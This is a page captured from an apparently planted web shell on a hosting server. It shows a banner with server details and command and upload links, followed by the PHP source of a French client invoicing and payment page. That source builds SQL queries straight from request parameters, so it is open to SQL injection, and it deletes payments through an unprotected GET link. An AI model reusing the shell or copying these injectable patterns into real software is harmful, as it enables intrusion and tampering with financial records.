|
Server IP : 10.128.40.6 / Your IP : 216.73.216.233 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/logmcpe/www/MCPRO/jquery/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include_once 'code/init.php';
// ini_set('display_errors','on');
// error_reporting(E_ALL);
// echo "testyabkhh <br/>" ;
// exit() ;
// echo "aaaaaaaaaaaaa" ;
?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<?php
print_header ( );
?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<?php
$now = time();
function dateDiff($date1, $date2){
$diff = abs($date1 - $date2); // abs pour avoir la valeur absolute, ainsi éviter d'avoir une différence négative
$retour = array();
$tmp = $diff;
$retour['second'] = $tmp % 60;
$tmp = floor( ($tmp - $retour['second']) /60 );
$retour['minute'] = $tmp % 60;
$tmp = floor( ($tmp - $retour['minute'])/60 );
$retour['hour'] = $tmp % 24;
$tmp = floor( ($tmp - $retour['hour']) /24 );
$retour['day'] = $tmp;
return $retour;
}
// Test de la fonction
//*********************************************
/*
$qqq = dbi_query("SELECT * FROM ".TABLE_CLIENT." c WHERE c.agence_id=$agence Order by client_nom ASC");
while( $pp = dbi_fetch_row($qqq))
{
$client_id = $pp['client_id'];
$nnn = $pp['client_nom'];
$q_sold = dbi_query("SELECT sum(f.total)
FROM (
(select -montant total from ".TABLE_PAIEMENT." where client_id='$client_id' AND agence_id='$agence')
union all
(
SELECT total-sum(if(a.montant is null, 0, a.montant)) AS total
FROM ".TABLE_FACT." f
LEFT JOIN ".TABLE_AVOIR." a ON f.fact_id = a.fact_id
WHERE f.client_id='$client_id'
AND f.agence_id='$agence'
GROUP BY f.fact_id, f.total
)
) f") ;
list($solde1) = dbi_fetch_row($q_sold) ;
//echo number_format($solde1, 2, ', ', ' ') ;
$qf = dbi_query("SELECT sum(total) as m FROM ".TABLE_CLIENT." c, ".TABLE_FACT." f WHERE f.agence_id = $agence
and c.client_id = f.client_id and c.client_id = $client_id and date_fact >= 20140201
") ;
// echo "SELECT sum(total) as m FROM ".TABLE_CLIENT." c,".TABLE_AVOIR." a, ".TABLE_FACT." f WHERE a.fact_id = f.fact_id AND f.agence_id = $agence
// and c.client_id = f.client_id and c.client_id = $client_id and date_fact >= 20120201
$f = dbi_fetch_row($qf) ;
;
// if ($f['avoir'])
// {
$qa = dbi_query("SELECT sum(montant) as m FROM ".TABLE_CLIENT." c,".TABLE_AVOIR." a, ".TABLE_FACT." f WHERE a.fact_id = f.fact_id AND f.agence_id = $agence
and c.client_id = f.client_id and c.client_id = $client_id and date > 20130101
") ;
$a = dbi_fetch_row($qa) ;
// echo
$qp = dbi_query("SELECT sum(montant) as m FROM ".TABLE_CLIENT." c,".TABLE_PAIEMENT." p WHERE c.agence_id = $agence
and c.client_id = p.client_id and c.client_id = $client_id and date > 20140101
") ;
$p = dbi_fetch_row($qp) ;
if($a['m'] =='' )
{
$a['m']= 0 ;
}
if($p['m'] =='' )
{
$p['m']= 0 ;
}
if($f['m'] =='' )
{
$f['m']= 0 ;
}
if($solde1 =='' )
{
$solde1= 0 ;
}
if($nnn =='' )
{
$nnn= 'pase de nom';
}
// echo $f['m'] ." +++ ". $a['m'] ." +++ ". $p['m']."<br/>" ;
$b = $solde1 - $f['m'] - $a['m'] - $p['m'] ;
$fff = $f['m'] ;
$aaa =$a['m'] ;
$ppp =$p['m'] ;
$nnn = addslashes($nnn);
// $solde1 =number_format($solde1, 2, ', ', ' ') ;
// $fff =number_format($fff, 2, ', ', ' ') ;
// $aaa =number_format($aaa, 2, ', ', ' ') ;
// $ppp =number_format($ppp, 2, ', ', ' ') ;
dbi_query(" INSERT INTO testoot VALUES ($client_id,'$nnn',$solde1,$fff,$aaa,$ppp,$b)");
}
*/
//**********************************************
function get_drop_down_reglement2 ($name='', $param = '', $value='')
{
$q = dbi_query("SELECT * FROM ".TABLE_REGLEMENT."") ;
$res = "<select name=\"$name\" $param>" ;
while($r = dbi_fetch_row($q))
$res .= "<option value=\"{$r['reglement_id']}\"".($r['reglement_id'] == $value ? ' selected' : (($value==''&&$r['reglement_id'] == 2) ? ' selected' : '')).">".utf8_encode($r['reglement_desc'])."</option>" ;
return "$res</select>" ;
}
// print_r($_POST);
// echo '<pre>';
// print_r($_POST);
// echo '</pre>';
$client_id = @$_GET['client_id'] ;
if( isset($_POST['reglement_delai']) && isset($_POST['client_id']) )
{
// print_r($_POST);
$Client_ID=$_POST['client_id'];
$client_nom=getPostValue('client_nom');
// $client_nom = $nom['0'];
// $client_pnom = $nom['1'];
$client_facture_mail='';
$client_env_mail = $_POST['client_env_mail'];
$litige='';
$client_facture_mail = getPostValue('client_facture_mail');
$litige = getPostValue('litige');
$reglement_id = getPostValue('reglement_id');
// echo "--------------------->".$_POST['reglement_delai']."<br/>" ;
$reglement_delai = $_POST['reglement_delai'] ;
$sqlupdate1 = "UPDATE ".TABLE_CLIENT." SET reglement_id="."'$reglement_id'"." , reglement_delai="."'$reglement_delai'"." ,client_env_mail="."'$client_env_mail'".", client_facture_mail="."'$client_facture_mail'".", litige="."'$litige'"." WHERE client_id = $Client_ID" ;
dbi_query ( $sqlupdate1 );
}
$client = $client_id ? dbi_fetch_row(dbi_query("SELECT * FROM ".TABLE_CLIENT.",agence a WHERE client_id = $client_id")) : array() ;
if (isset($_GET['action'])&&($_GET['action']=='sup')&&isset($_GET['paiement_id']))
{
dbi_query("DELETE FROM ".TABLE_PAIEMENT." WHERE paiement_id='".$_GET['paiement_id']."' LIMIT 1") ;
}
if(isset($_POST['reg']) && !empty($_POST['fact']) )
{
// $id
$dater = sprintf("%04d%02d%02d", $_POST["dateryear"], $_POST["datermonth"], $_POST["daterday"]) ;
if(isset($_POST['montant'])) {
//payerFacture($id, $montant, $_POST['mode'][$id]) ;
payerFacture($_POST['fact'],$_POST['montant'], $_POST['mode'],NULL, $_POST['chek'], $_POST['bank'],$dater) ;
}
}
elseif (isset($_POST['avoir'], $_POST['fact']))
{
// print_r($_POST);
$montant = (real)str_replace(',', '.', $_POST['avoir']);
$desc = NULL ;
$desc = getPostValue('desc');
$fId = $_POST['fact'];
$erreur = array() ;
// echo "-->".$_POST['fact']."<br/>";
$info_fact = dbi_fetch_row(dbi_query(" SELECT * FROM `facture` WHERE fact_id = ".$_POST['fact'] )) ;
// echo "--- date facte-->".$info_fact['date_fact']."<br/>" ;
// echo "--- montant avans -->".$montant."<br/>" ;
if ($info_fact['date_fact']>20140101 )
{
$montant = $montant * 1.2 ;
}
else
{
$montant = $montant * 1.196 ;
}
// echo "--- montant apres -->".$montant."<br/>" ;
// exit() ;
if ($montant <= 0) {
$erreur[] = "Le montant d'un avoire doit être strictement positif" ;
}
list($max) = dbi_fetch_row(dbi_query("SELECT MAX(f.total) - if(sum(a.montant) is null, 0, sum(a.montant)) FROM ".TABLE_FACT." f LEFT JOIN ".TABLE_AVOIR." a using (fact_id) WHERE f.fact_id = $fId")) ;
if($montant > $max)
$erreur[] = "Le montant d'un avoir pour cette facture ne doit pas dépasser ".number_format($max, 2, ',', ' ').' €' ;
// print_r($max);
$i = 0 ;
if(empty($erreur) or $i == 0 )
{
// list($num) = dbi_fetch_row(dbi_query("SELECT value FROM ".TABLE_CONFIG." WHERE agence_id = $agence AND `key` = 'auto'")) ;
// dbi_query("UPDATE ".TABLE_CONFIG." set value = value+1 WHERE agence_id=$agence AND `key` = 'auto'");
list($num) = dbi_fetch_row(dbi_query("SELECT max(`num_avoir`) FROM `avoir`")) ;
$num = $num + 1 ;
// dbi_query("INSERT INTO ".TABLE_AVOIR." (montant, fact_id, agence_id, num_avoir, date,desc) VALUES('$montant', '$fId', '$agence', '$num', CURDATE()+0,'$desc')") ;
mysqli_query("SET NAMES 'utf8'");
dbi_query("INSERT INTO ".TABLE_AVOIR." (des,montant, fact_id, agence_id, num_avoir, date) VALUES('$desc','$montant', '$fId', '$agence', '$num', CURDATE()+0)") ;
list($total) = dbi_fetch_row(dbi_query("SELECT -total+sum(if(p.montant is null, 0, p.montant))+sum(if(a.montant is null, 0, a.montant)) AS paye,
sum(if(a.montant is null, 0, a.montant)) avoir,
f.date_fact, if(sum(if(p.montant is null, 0, p.montant))+sum(if(a.montant is null, 0, a.montant)) >= total, 'Réglé', if(sum(if(p.montant is null, 0, p.montant))+sum(if(a.montant is null, 0, a.montant)) = 0, 'Pas de règlement', 'Règlement partiel')) statut,
f.relance
FROM ".TABLE_FACT." f
LEFT JOIN ".TABLE_PAIEMENT." p ON f.fact_id=p.fact_id AND f.client_id=p.client_id
LEFT JOIN ".TABLE_AVOIR." a ON f.fact_id = a.fact_id
WHERE f.fact_id = $fId
GROUP BY f.fact_id, total")) ;
if($total > 0)
{
$q = dbi_query("SELECT * FROM ".TABLE_PAIEMENT." p WHERE fact_id = $fId ORDER BY paiement_id DESC") ;
while($total > 0 && $p = dbi_fetch_row($q))
{
dbi_query("DELETE FROM ".TABLE_PAIEMENT." WHERE paiement_id = ".$p['paiement_id']) ;
// echo "test <br/>" ;
payerFacture($fId, $p['montant'], $p['reglement_id'],NULL,$p['num_cheque'],$p['banque']) ;
$total -= $p['montant'] ;
}
}
}
else
{
}
$client_id = $_POST['client_id'] ;
}
// echo $_GET['client_id'].' ?? ' ;
list($reglement,$reglementDelai) = dbi_fetch_row(dbi_query("SELECT client_reglement,reglement_delai FROM ".TABLE_CLIENT." WHERE client_id='$client_id' AND agence_id='$agence'")) ;
$q = dbi_query("SELECT sum(f.total)
FROM (
(select -montant total from ".TABLE_PAIEMENT." where client_id='$client_id' AND agence_id='$agence')
union all
(
SELECT total-sum(if(a.montant is null, 0, a.montant)) AS total
FROM ".TABLE_FACT." f
LEFT JOIN ".TABLE_AVOIR." a ON f.fact_id = a.fact_id
WHERE f.client_id='$client_id'
AND f.agence_id='$agence'
GROUP BY f.fact_id, f.total
)
) f") ;
list($solde) = dbi_fetch_row($q) ;
$query = "SELECT f.num_fact,
f.fact_id, total,date_debut,date_fin,
total-if(p.paye is null, 0, p.paye)-if(a.avoir is null, 0, a.avoir) AS paye,
if(a.avoir is null, 0, a.avoir) avoir,
f.date_fact, if(if(p.paye is null, 0, p.paye)+if(a.avoir is null, 0, a.avoir) >= total, 'Réglé', if(if(p.paye is null, 0, p.paye)+if(a.avoir is null, 0, a.avoir) = 0, 'Pas de règlement', 'Règlement partiel')) statut,
f.relance
FROM ".TABLE_FACT." f
LEFT JOIN (select if(sum(if(montant is null, 0, montant)) is null, 0, sum(if(montant is null, 0, montant))) paye, fact_id FROM ".TABLE_PAIEMENT." where client_id = $client_id group by fact_id) p ON f.fact_id = p.fact_id
LEFT JOIN (select if(sum(if(montant is null, 0, montant)) is null, 0, sum(if(montant is null, 0, montant))) avoir, fact_id FROM ".TABLE_AVOIR." group by fact_id) a ON f.fact_id = a.fact_id
WHERE f.client_id=$client_id
AND f.agence_id=$agence
AND if(p.paye is null, 0, p.paye)+if(a.avoir is null, 0, a.avoir) %s total
GROUP BY date_fact, f.fact_id, total
order by num_fact DESC" ;
// echo $reglement.' ?? ';
list($regl) = dbi_fetch_row(dbi_query("select date from ".TABLE_PAIEMENT." where client_id=$client_id AND agence_id=$agence order by date DESC limit 1")) ;
?>
<table style="width:95%;text-align:center;margin : 0 auto; " height="200px" >
<tr>
<td class="tdl" style="width:50%;" ><input name="solde" class="inputblue" value=" SOLDE <?=number_format($solde, 2, ', ', ' ')?> € "/><br/><br/></td>
<td class="tdl" style="width:50%;" ><input name="datedr" class="inputblue" value=" DERNIER REGLEMENT <?=int2date($regl)?>"/><br/><br/></td>
</tr>
<tr>
<td style="padding: 2px 16px 2px 0px; " colspan="2" >
<div id="sb" style="margin : 0auto; ">
<table style="width:100%;" >
<form method="post" action="" >
<input type="hidden" name="client_id" value="<?=$client_id?>">
<h3>INFOS FACTURATION</h3>
<tr>
<td class="td2"><label>Mode de règlement :</label></td>
<td class="td2"><?=get_drop_down_reglement2('reglement_id', "style='width:100%;'", $client['reglement_id'])?></td>
<td class="td2"><label>Échéance :</label></td>
<td class="td2"><input type="text" name="reglement_delai" id="reglement_delai" value="<?=$client['reglement_delai'];?>" class="field required" /></td>
</tr>
<tr>
<td class="td2"><label>Envoyer la facture par e-mail :</label><input type="radio" name="client_env_mail" value="1" <?php if($client['client_env_mail']=='1') echo "CHECKED";?> > Oui <input type="radio" name="client_env_mail" value="0" <?if($client['client_env_mail']=='0') echo "CHECKED";?>> Non</td>
<td class="td2"><label>Litige :</label><input type="checkbox" name="litige" value="1" <?php if($client['litige']=='1') echo "CHECKED";?> ></td>
<td class="td2"><label>Adresse :</label></td>
<td class="td2"><input type="text" name="client_facture_mail" id="client_facture_mail" value="<?=$client['client_facture_mail'];?>" class="field required" /></td>
</tr>
</table>
<input name="valider" type="submit" value=" Enregistrer " style="float:right;margin-right:-10px;margin-top:30px;" class="blubutton" />
</form>
</div>
</td>
</tr>
<tr>
<td style="padding: 2px 26px 2px 0px; " valign="top" style="width:50%;">
<div id="sb" valign="top" style=" cursor: move; position: relative; top: 0px; height: 80%;" >
<form method="post" action="" >
<input type="hidden" name="client_id" value="<?=$client_id?>">
<h3>SAISIR UN AVOIR</h3>
<table style="width:100%;">
<tr>
<td class="td2"><label>Montant :</label></td>
<td class="td2"><input type="text" name="avoir" size="6" value="" class="field required" /></td>
<td class="td2"><label>Facture :</label></td>
<td class="td2">
<select name="fact" style="width:100%" class="field required">
<?php
$q = dbi_query("SELECT f.num_fact, fact_id FROM ".TABLE_FACT." f WHERE f.client_id=$client_id ORDER BY num_fact DESC") ;
while($f = dbi_fetch_row($q))
echo '<option value="'.$f['fact_id'].'">Facture nº'.$f['num_fact'].'</option>' ;
?>
</select>
</td>
</tr>
<tr>
<td class="td2"><label>Designation :</label></td>
<td class="td2" colspan="3">
<textarea name="desc" rows="8" style="height:100%" class="field required"></textarea></td>
</tr>
</table>
</div>
<input name="valider" type="submit" value=" Enregistrer " style="float:right;margin-right:-15px;margin-top:30px;" class="blubutton" />
</form>
</td>
<td style="padding: 2px 16px 2px 10px; " valign="top" style="width:50%;" >
<div id="sb" valign="top" style=" cursor: move; position: relative; top: 0px; height: 80%;" >
<form method="post" action="" >
<input type="hidden" name="client_id" value="<?=$client_id?>">
<input name="reg" type="hidden" />
<h3>SAISIR UN REGLEMENT</h3>
<table style="width:100%;" >
<tr>
<td class="td2"><label>Montant :</label></td>
<td class="td2"><input type="text" name="montant" size="6" value="0,00" class="field required" /></td>
<td class="td2"><label>Facture :</label></td>
<td class="td2">
<select name="fact" style="width:100%" class="field required">
<?php
$q = dbi_query(sprintf($query, '<')) ;
while($f = dbi_fetch_row($q))
echo '<option value="'.$f['fact_id'].'">Facture nº'.$f['num_fact'].'</option>' ;
?>
</select>
</td>
</tr>
<tr>
<?php if(isset($datededebut)) $dated=$datededebut; ?>
<td class="td2" ><label>Date :</label></td>
<td class="td2" colspan="3"><?php print_date_selection2('dater',(isset($datededebut)?$dated:$datedeb))?></td>
</tr>
<tr>
<td class="td2"><label>Mode de règlement :</label></td>
<td class="td2" colspan="3"><?=get_drop_down_reglement2('mode', "style='width:100%;'", $client['reglement_id'])?></td>
</tr>
<tr>
<td class="td2"><label>Chèque N° :</label></td>
<td class="td2"><input type="text" name="chek" value="" class="field required" /></td>
<td class="td2"><label>Banque :</label></td>
<td class="td2"><input type="text" name="bank" value="" class="field required" /></td>
</tr>
</table>
</div>
<input name="valider" type="submit" value=" Enregistrer " style="float:right;margin-right:-15px;margin-top:30px;" class="blubutton" />
</form>
</td>
</tr>
</table>
<br/><br/>
<div id="tab" >
<?php
$q = dbi_query(sprintf($query, '>=')) ;
$query2 = "SELECT f.num_fact,
f.fact_id, total,date_debut,date_fin,
total-if(p.paye is null, 0, p.paye)-if(a.avoir is null, 0, a.avoir) AS paye,
if(a.avoir is null, 0, a.avoir) avoir,
f.date_fact, if(if(p.paye is null, 0, p.paye)+if(a.avoir is null, 0, a.avoir) >= total, 'Réglé', if(if(p.paye is null, 0, p.paye)+if(a.avoir is null, 0, a.avoir) = 0, 'Pas de règlement', 'Règlement partiel')) statut,
f.relance
FROM ".TABLE_FACT." f
LEFT JOIN (select if(sum(if(montant is null, 0, montant)) is null, 0, sum(if(montant is null, 0, montant))) paye, fact_id FROM ".TABLE_PAIEMENT." where client_id = $client_id group by fact_id) p ON f.fact_id = p.fact_id
LEFT JOIN (select if(sum(if(montant is null, 0, montant)) is null, 0, sum(if(montant is null, 0, montant))) avoir, fact_id FROM ".TABLE_AVOIR." group by fact_id) a ON f.fact_id = a.fact_id
WHERE f.client_id=$client_id
AND f.agence_id=$agence
AND if(p.paye is null, 0, p.paye)+if(a.avoir is null, 0, a.avoir) %s total
GROUP BY date_fact, f.fact_id, total
order by num_fact DESC" ;
//printf($query, '<');
$date = date("Ymd");
// echo " $reglementDelai $date <br/>";
$q2 = dbi_query(sprintf($query2, '<')) ;
if(mysqli_num_rows($q2) || mysqli_num_rows($q))
{
?><br clear="all" />
<table width="95%" style="margin:0 auto;">
<caption style="font-weight:bold;text-transform :uppercase;"><h3>Factures</h3></caption>
<tr>
<th width="10%" >Numéro</th>
<th width="10%" >Date facture</th>
<th width="20%" >Montant</th>
<th width="20%" >Net à payer</th>
<th width="20%" >Règlement</th>
<th width="20%" >Facture</th>
</tr>
<?php
while($f = dbi_fetch_row($q2))
{
// echo "---> $f['fact_id']"
$date2 = strtotime($f['date_fact']);
$a = dateDiff($now, $date2) ;
// if($a['day']> $reglementDelai )
// {
?>
<tr>
<td style="text-align:center;"><?=$f['num_fact']?></td>
<td style="text-align:center;"><?=int2date($f['date_fact'])?></td>
<td style="text-align:center;"><?=number_format($f['total'], 2, ', ', ' ').' €'?></td>
<td style="text-align:center;"><?=number_format($f['paye'], 2, ', ', ' ')?> € <?=($f['avoir'] > 0) ? '<br>(avoirrr de '.number_format($f['avoir'], 2, ', ', ' ').' €)' : ''?></td>
<td style="text-align:center;"><?=$f['statut']?></td>
<td style="text-align:center;"><a href="fact.php?fid=<?=$f['fact_id']?>" target="_blank" style="cursor:pointer; font-weight:bold;color: white; text-decoration:none;" class="bigbutton">Voir la facture</a>
<?=$f['relance'] ? ' | <a href="factures/'.$client_id.'/'.$f['fact_id'].'-'.$f['relance'].'.pdf" target="_blank">Voir la dernière relance</a>' : ''?>
<?php
if ($f['avoir'])
{
$qa = dbi_query("SELECT * FROM ".TABLE_AVOIR." WHERE fact_id = ".$f['fact_id']." AND agence_id = $agence") ;
while($a = dbi_fetch_row($qa))
printf('<br><a href="avoir.php?aid=%d" target="_blank">Avoir nº%d</a>', $a['avoir_id'], $a['num_avoir']);
}
?></td>
</tr>
<?php
// }
}
while($f = dbi_fetch_row($q))
{
?>
<tr>
<td style="text-align:center;"><?=$f['num_fact']?></td>
<td style="text-align:center;"><?=int2date($f['date_fact'])?></td>
<td style="text-align:center;"><?=number_format($f['total'], 2, ', ', ' ').' €'?></td>
<td style="text-align:center;"><?=number_format($f['paye'], 2, ', ', ' ')?> € <?=($f['avoir'] > 0) ? '<br>(avoir de '.number_format($f['avoir'], 2, ', ', ' ').' €)' : ''?></td>
<td style="text-align:center;"><?=$f['statut']?></td>
<td style="text-align:center;"><a href="fact.php?fid=<?=$f['fact_id']?>" target="_blank" style="cursor:pointer; font-weight:bold;color: white; text-decoration:none;" class="bigbutton">Voir la facture</a>
<?=$f['relance'] ? ' | <a href="factures/'.$client_id.'/'.$f['fact_id'].'-'.$f['relance'].'.pdf" target="_blank">Voir la dernière relance</a>' : ''?>
<?php
if ($f['avoir'])
{
$qa = dbi_query("SELECT * FROM ".TABLE_AVOIR." WHERE fact_id = ".$f['fact_id']." AND agence_id = $agence") ;
while($a = dbi_fetch_row($qa))
printf('<br><a href="avoir.php?aid=%d" target="_blank">Avoir nº%d</a>', $a['avoir_id'], $a['num_avoir']);
}
?></td>
</tr>
<?php
}
echo '</table><br/>';
}
$q = dbi_query("SELECT * FROM ".TABLE_PAIEMENT." p LEFT JOIN ".TABLE_FACT." f USING(fact_id) LEFT JOIN ".TABLE_REGLEMENT." r USING(reglement_id) where p.client_id = '$client_id' AND p.agence_id='$agence' order by num_fact DESC") ;
if(mysqli_num_rows($q))
{
?><br clear="all" />
<table width="95%" style="margin:0 auto;">
<caption style="font-weight:bold;text-transform :uppercase;"><h3>Règlements</h3></caption>
<tr>
<th width="20%" >Numéro de Facture</th>
<th width="20%" >Date du règlement </th>
<th width="20%" >Mode de règlement</th>
<th width="20%" >Montant réglé</th>
<th width="20%" >Supprimer</th>
</tr>
<?php
while($f = dbi_fetch_row($q))
{
?>
<tr>
<td style="text-align:center;"><?=$f['num_fact']?></td>
<td style="text-align:center;"><?=int2date($f['date'])?></td>
<td style="text-align:center;"><?=utf8_encode($f['reglement_desc'])?><?=($f['reglement_desc']=='Chèque'?' N°'.$f['num_cheque']:'')?></td>
<td style="text-align:center;"><?=number_format($f['montant'], 2, ', ', ' ')?> €</td>
<td style="text-align:center;">
<a href="<?="?client_id=$client_id&agence_id=$agence&action=sup&paiement_id=".$f['paiement_id']?>" onclick="return warning();" style="cursor:pointer; font-weight:bold;color: white; text-decoration:none;" class="bigbutton">Supprimer</a> </td>
</tr>
<?php
}
echo '</table>';
}
?>
</div>
<br/><br/>
<?php
if(empty($_GET['client_id']) && isset($_POST['client_id'])) $_GET['client_id']=$_POST['client_id'];
?>
</body>
</html>